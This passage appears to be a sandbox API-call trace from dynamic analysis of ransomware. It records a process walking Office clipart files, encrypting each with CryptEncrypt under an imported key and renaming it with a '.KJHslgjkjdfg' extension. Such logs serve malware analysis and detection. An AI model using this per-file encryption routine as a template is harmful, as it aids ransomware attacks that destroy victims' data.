(lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287019.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287019.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287019.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287019.wmf.kjhslgjkjdfg")) returned 1 [0205.665] CloseHandle (hObject=0x130) returned 1 [0205.665] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5668dad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x80d8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0287020.WMF", cAlternateFileName="")) returned 1 [0205.665] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287020.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287020.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0205.666] GetProcessHeap () returned 0x2ef0000 [0205.666] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0205.666] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0205.666] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0205.666] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0205.712] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0205.712] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0205.712] GetProcessHeap () returned 0x2ef0000 [0205.712] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0205.712] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0205.712] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0205.712] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0205.712] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0205.712] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0205.713] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0205.713] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0205.713] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0205.713] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0205.713] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0205.713] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.713] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x80d8, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x80d8, lpOverlapped=0x0) returned 1 [0205.746] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x80e0, dwBufLen=0x80e0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x80e0) returned 1 [0205.747] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.747] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x80e0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x80e0, lpOverlapped=0x0) returned 1 [0205.747] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0205.747] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x81b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.747] SetEndOfFile (hFile=0x130) returned 1 [0205.750] GetProcessHeap () returned 0x2ef0000 [0205.750] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0205.750] GetProcessHeap () returned 0x2ef0000 [0205.750] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0205.750] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287020.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287020.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287020.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287020.wmf.kjhslgjkjdfg")) returned 1 [0205.752] CloseHandle (hObject=0x130) returned 1 [0205.752] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66116650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xc6d2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0287024.WMF", cAlternateFileName="")) returned 1 [0205.752] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287024.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287024.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0205.753] GetProcessHeap () returned 0x2ef0000 [0205.753] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0205.753] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0205.753] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0205.753] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xe, lpOverlapped=0x0) returned 1 [0205.756] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0205.756] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0205.756] GetProcessHeap () returned 0x2ef0000 [0205.756] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0205.756] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0205.756] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0205.756] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0205.756] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0205.756] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0205.756] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0205.757] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0205.757] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0205.757] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0205.757] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0205.757] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.757] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xc6d2, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0xc6d2, lpOverlapped=0x0) returned 1 [0205.759] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xc6e0, dwBufLen=0xc6e0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xc6e0) returned 1 [0205.759] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.759] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xc6e0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0xc6e0, lpOverlapped=0x0) returned 1 [0205.760] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0205.760] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xc7b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.760] SetEndOfFile (hFile=0x130) returned 1 [0205.763] GetProcessHeap () returned 0x2ef0000 [0205.763] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0205.763] GetProcessHeap () returned 0x2ef0000 [0205.763] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0205.763] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287024.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287024.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287024.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287024.wmf.kjhslgjkjdfg")) returned 1 [0205.765] CloseHandle (hObject=0x130) returned 1 [0205.765] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5668dad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xcd10, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0287408.WMF", cAlternateFileName="")) returned 1 [0205.765] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287408.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287408.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0205.766] GetProcessHeap () returned 0x2ef0000 [0205.766] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0205.766] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0205.766] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0205.766] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0205.766] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0205.766] GetProcessHeap () returned 0x2ef0000 [0205.766] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0205.767] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0205.767] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0205.767] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0205.769] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0205.769] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0205.769] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0205.769] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0205.770] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0205.770] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0205.770] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0205.770] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.770] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xcd10, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0xcd10, lpOverlapped=0x0) returned 1 [0205.771] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xcd10, dwBufLen=0xcd10 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xcd10) returned 1 [0205.772] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.772] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xcd10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0xcd10, lpOverlapped=0x0) returned 1 [0205.772] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0205.773] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xcde4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.773] SetEndOfFile (hFile=0x130) returned 1 [0205.776] GetProcessHeap () returned 0x2ef0000 [0205.776] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0205.776] GetProcessHeap () returned 0x2ef0000 [0205.776] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0205.776] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287408.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287408.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287408.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287408.wmf.kjhslgjkjdfg")) returned 1 [0205.777] CloseHandle (hObject=0x130) returned 1 [0205.778] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66116650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xa80c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0287415.WMF", cAlternateFileName="")) returned 1 [0205.778] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287415.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287415.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0205.779] GetProcessHeap () returned 0x2ef0000 [0205.779] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0205.779] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0205.779] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0205.779] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0205.794] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0205.794] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0205.794] GetProcessHeap () returned 0x2ef0000 [0205.794] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0205.794] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0205.794] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0205.794] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0205.794] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0205.794] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0205.794] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0205.794] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0205.794] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0205.795] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0205.795] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0205.795] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.795] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xa80c, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0xa80c, lpOverlapped=0x0) returned 1 [0205.799] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xa810, dwBufLen=0xa810 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xa810) returned 1 [0205.799] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.800] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xa810, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0xa810, lpOverlapped=0x0) returned 1 [0205.800] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0205.800] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xa8e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.800] SetEndOfFile (hFile=0x130) returned 1 [0205.803] GetProcessHeap () returned 0x2ef0000 [0205.803] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0205.803] GetProcessHeap () returned 0x2ef0000 [0205.803] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0205.803] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287415.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287415.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287415.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287415.wmf.kjhslgjkjdfg")) returned 1 [0205.805] CloseHandle (hObject=0x130) returned 1 [0205.805] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66116650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xd6bc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0287417.WMF", cAlternateFileName="")) returned 1 [0205.805] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287417.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287417.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, 